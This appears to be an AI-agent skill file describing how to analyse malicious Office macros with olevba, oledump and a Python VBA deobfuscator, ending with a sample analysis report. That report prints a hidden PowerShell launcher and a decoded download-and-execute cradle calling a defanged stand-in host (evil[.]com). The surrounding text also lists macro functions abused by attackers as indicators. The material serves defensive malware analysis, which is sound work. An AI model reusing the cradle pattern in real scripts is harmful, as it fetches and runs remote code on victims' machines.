analyzing-macro-malware-in-office-documents

Analyzes malicious VBA macros embedded in Microsoft Office documents (Word, Excel, PowerPoint) to identify download cradles, payload execution, persistence mechanisms, and anti-analysis techniques. Uses olevba, oledump, and VBA deobfuscation to extract the attack chain. Activates for requests involving Office macro analysis, VBA malware investigation, maldoc analysis, or document-based threat examination.

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name	analyzing-macro-malware-in-office-documents
description	Analyzes malicious VBA macros embedded in Microsoft Office documents (Word, Excel, PowerPoint) to identify download cradles, payload execution, persistence mechanisms, and anti-analysis techniques. Uses olevba, oledump, and VBA deobfuscation to extract the attack chain. Activates for requests involving Office macro analysis, VBA malware investigation, maldoc analysis, or document-based threat examination.
domain	cybersecurity
subdomain	malware-analysis
tags	["malware","macro","Office","VBA","document-malware"]
version	1.0.0
author	mahipal
license	Apache-2.0

Analyzing Macro Malware in Office Documents

When to Use

A suspicious Office document (.doc, .docm, .xls, .xlsm, .ppt) has been flagged by email security
Investigating phishing campaigns that deliver weaponized Office documents
Extracting VBA macro code to identify the payload download URL and execution method
Analyzing obfuscated VBA code to understand the full attack chain
Determining if a document uses DDE, ActiveX, or remote template injection instead of macros

Do not use for analyzing non-macro Office threats (DDE, remote template injection); while this skill covers detection of these, specialized analysis may be needed.

Prerequisites

Python 3.8+ with oletools installed (pip install oletools)
oledump.py from Didier Stevens (https://blog.didierstevens.com/programs/oledump-py/)
Isolated analysis VM without Microsoft Office installed (prevents accidental execution)
XLMDeobfuscator for Excel 4.0 macro analysis (pip install xlmdeobfuscator)
LibreOffice for safe document rendering (does not execute VBA macros by default)

Workflow

Step 1: Initial Document Triage

Determine if the document contains macros or other active content:

# Quick triage with olevba
olevba suspect.docm

# Check for OLE streams and macros
oleid suspect.docm

# Output indicators:
# VBA Macros:        True/False
# XLM Macros:        True/False
# External Relationships: True/False (remote template)
# ObjectPool:        True/False (embedded objects)
# Flash:             True/False (SWF objects)

# Comprehensive OLE analysis
oledump.py suspect.docm

# List all OLE streams with macro indicators
# Streams marked with 'M' contain VBA macros
# Streams marked with 'm' contain macro attributes

Step 2: Extract and Analyze VBA Code

Pull out the complete VBA macro source:

# Extract VBA with full deobfuscation
olevba --decode --deobf suspect.docm

# Extract just the VBA source code
olevba --code suspect.docm > extracted_vba.txt


oledump.py -s 8 -v suspect.docm  


oledump.py -p plugin_vba_dco suspect.docm

Key VBA Elements to Identify:
━━━━━━━━━━━━━━━━━━━━━━━━━━━
Auto-Execution Triggers:
  - Auto_Open / AutoOpen (Word)
  - Auto_Close / AutoClose
  - Document_Open / Document_Close
  - Workbook_Open (Excel)
  - AutoExec

Suspicious Functions:
  - Shell() / Shell.Application
  - WScript.Shell.Run / Exec
  - CreateObject("WScript.Shell")
  - PowerShell execution
  - URLDownloadToFile
  - MSXML2.XMLHTTP (HTTP requests)
  - ADODB.Stream (file writing)
  - Environ() (environment variables)
  - CallByName (indirect method calls)

# VBA deobfuscation techniques
import re

def deobfuscate_vba(code):
    # 1. Resolve Chr() calls: Chr(104) & Chr(116) -> "ht"
    def resolve_chr(match):
        try:
            return chr(int(match.group(1)))
        except:
            return match.group(0)
    code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)

    # 2. Remove string concatenation: "htt" & "p://" -> "http://"
    code = re.sub(r'"\s*&\s*"', '', code)

    # 3. Resolve ChrW calls: ChrW(104)
    code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)

    # 4. Resolve StrReverse: StrReverse("exe.daolnwod") -> "download.exe"
    def resolve_reverse(match):
        return '"' + match.group(1)[::-1] + '"'
    code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)

    # 5. Remove Mid$/Left$/Right$ obfuscation (complex, mark for manual review)

    # 6. Resolve Replace(): Replace("Powxershxell", "x", "")
    def resolve_replace(match):
        original = match.group(1)
        find = match.group(2)
        replace_with = match.group(3)
        return '"' + original.replace(find, replace_with) + '"'
    code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)

    return code

with open("extracted_vba.txt") as f:
    vba_code = f.read()

deobfuscated = deobfuscate_vba(vba_code)
print(deobfuscated)

# Detect XLM macros
olevba --xlm suspect.xlsm

# Deobfuscate XLM macros
xlmdeobfuscator -f suspect.xlsm

# Manual XLM analysis with oledump
oledump.py suspect.xlsm -p plugin_biff.py

# XLM (Excel 4.0) macro functions to watch for:
# EXEC()       - Execute shell command
# CALL()       - Call DLL function
# REGISTER()   - Register DLL function
# URLDownloadToFileA - Download file
# ALERT()      - Display message (social engineering)
# HALT()       - Stop execution
# GOTO()       - Control flow
# IF()         - Conditional execution

# Check for DDE (Dynamic Data Exchange)
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re

z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
    if name.endswith('.xml') or name.endswith('.rels'):
        content = z.read(name).decode('utf-8', errors='ignore')
        # DDE field codes
        if 'DDEAUTO' in content or 'DDE ' in content:
            print(f'[!] DDE found in {name}')
            dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
            for m in dde_match:
                print(f'    Command: {m}')
        # Remote template
        if 'attachedTemplate' in content or 'Target=' in content:
            urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
            for url in urls:
                print(f'[!] Remote template URL: {url}')
"

# Check for embedded OLE objects
oledump.py -p plugin_msg.py suspect.docm

# Check relationships for external references
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
    if '.rels' in name:
        content = z.read(name).decode('utf-8', errors='ignore')
        if 'http' in content.lower() or 'ftp' in content.lower():
            print(f'External reference in {name}:')
            import re
            urls = re.findall(r'Target=\"([^\"]+)\"', content)
            for url in urls:
                print(f'  {url}')
"

Report should include:
- Document metadata (author, creation date, modification date)
- Macro presence and type (VBA, XLM, DDE, remote template)
- Auto-execution trigger identified
- Deobfuscated VBA source code (key functions)
- Download URL(s) for second-stage payloads
- Execution method (Shell, WScript, PowerShell, COM object)
- Social engineering lure description
- Extracted IOCs (URLs, domains, IPs, file hashes)
- YARA rule for the specific document pattern

Term	Definition
VBA Macro	Visual Basic for Applications code embedded in Office documents that can interact with the OS, download files, and execute commands
Auto_Open	VBA event procedure that executes automatically when a Word document is opened, the primary trigger for macro malware
OLE (Object Linking and Embedding)	Microsoft compound document format; Office documents are OLE containers with streams that can contain macros and objects
DDE (Dynamic Data Exchange)	Legacy Windows IPC mechanism abused in documents to execute commands without macros; triggered by field code updates
Remote Template Injection	Attack loading a macro-enabled template from a remote URL when the document opens, bypassing initial macro detection
XLM Macros (Excel 4.0)	Legacy Excel macro language predating VBA; stored in hidden sheets and often missed by traditional VBA analysis tools
Protected View	Office sandbox that prevents macro execution until the user clicks "Enable Content"; social engineering targets this barrier

OFFICE MACRO MALWARE ANALYSIS
================================
Document:         invoice_q3_2025.docm
SHA-256:          e3b0c44298fc1c149afbf4c8996fb924...
File Type:        Microsoft Word Document (OOXML with macros)
Author:           Administrator
Creation Date:    2025-09-10 14:23:00

MACRO ANALYSIS
Type:             VBA Macro
Trigger:          AutoOpen()
Streams:          3 VBA streams (ThisDocument, Module1, Module2)

DEOBFUSCATED EXECUTION CHAIN
1. AutoOpen() -> Calls Module1.RunPayload()
2. RunPayload() builds command string via Chr() concatenation
3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. Decoded: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')

SOCIAL ENGINEERING LURE
- Document displays fake "Protected Document" image
- Instructs user to "Enable Content" to view the document
- Content is blurred/hidden until macros execute

EXTRACTED IOCs
Download URL:     hxxp://evil[.]com/payload.ps1
C2 Domain:        evil[.]com
IP Address:       185.220.101[.]42
User-Agent:       PowerShell (default WebClient)

MITRE ATT&CK
T1566.001  Phishing: Spearphishing Attachment
T1204.002  User Execution: Malicious File
T1059.001  Command and Scripting Interpreter: PowerShell
T1059.005  Command and Scripting Interpreter: Visual Basic